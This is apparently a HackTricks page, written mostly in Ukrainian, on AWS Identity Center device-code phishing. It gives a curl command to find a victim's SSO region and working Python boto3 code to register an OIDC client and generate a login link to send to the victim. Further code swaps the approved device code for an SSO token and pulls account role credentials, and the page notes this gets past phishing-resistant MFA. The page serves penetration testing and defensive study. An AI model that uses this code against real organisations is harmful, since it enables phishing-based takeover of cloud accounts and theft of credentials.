AWS - Identity Center & SSO Unauthenticated Enum

Support HackTricks

AWS Device Code Phishing

Спочатку запропоновано в цьому блозі, можливо надіслати посилання користувачу, який використовує AWS SSO, що якщо користувач прийме, зловмисник зможе отримати токен для видавання себе за користувача та отримати доступ до всіх ролей, до яких користувач має доступ у Identity Center.

Для виконання цієї атаки необхідні такі умови:

  • Жертва повинна використовувати Identity Center

  • Зловмисник повинен знати субдомен, який використовує жертва <victimsub>.awsapps.com/start

Тільки з цією інформацією зловмисник зможе надіслати посилання користувачу, яке, якщо прийняте, надасть зловмиснику доступ до облікового запису AWS користувача.

Attack

  1. Finding the subdomain

Перший крок зловмисника - дізнатися, який субдомен використовує компанія жертви в їх Identity Center. Це можна зробити за допомогою OSINT або вгадування + BF, оскільки більшість компаній використовуватимуть свою назву або варіацію своєї назви тут.

З цією інформацією можливо отримати регіон, в якому було налаштовано Identity Center:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Згенеруйте посилання для жертви та надішліть його

Запустіть наступний код, щоб згенерувати посилання для входу в AWS SSO, щоб жертва могла аутентифікуватися. Для демонстрації запустіть цей код у консолі Python і не виходьте з неї, оскільки пізніше вам знадобляться деякі об'єкти для отримання токена:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Надішліть згенероване посилання жертві, використовуючи свої чудові навички соціальної інженерії!

  1. Чекайте, поки жертва його прийме

Якщо жертва вже увійшла в AWS, їй просто потрібно буде прийняти надання дозволів, якщо ні, їй потрібно буде увійти в систему, а потім прийняти надання дозволів. Ось як виглядає запит сьогодні:

  1. Отримати токен доступу SSO

Якщо жертва прийняла запит, запустіть цей код, щоб згенерувати токен SSO, видаючи себе за користувача:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Токен доступу SSO є дійсним протягом 8 годин.

  1. Видавати себе за користувача

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Фішинг непіддатливого MFA

Цікаво знати, що попередня атака працює навіть якщо використовується "непіддатливе MFA" (webAuth). Це тому, що попередній робочий процес ніколи не залишає використаний домен OAuth. На відміну від інших атак фішингу, де користувачеві потрібно підмінити домен входу, у випадку, коли робочий процес коду пристрою підготовлений так, що код відомий пристрою, і користувач може увійти навіть на іншій машині. Якщо підтвердити запит, пристрій, просто знаючи початковий код, зможе отримати облікові дані для користувача.

Для отримання додаткової інформації перегляньте цей пост.

Автоматичні інструменти

Посилання

Support HackTricks

Last updated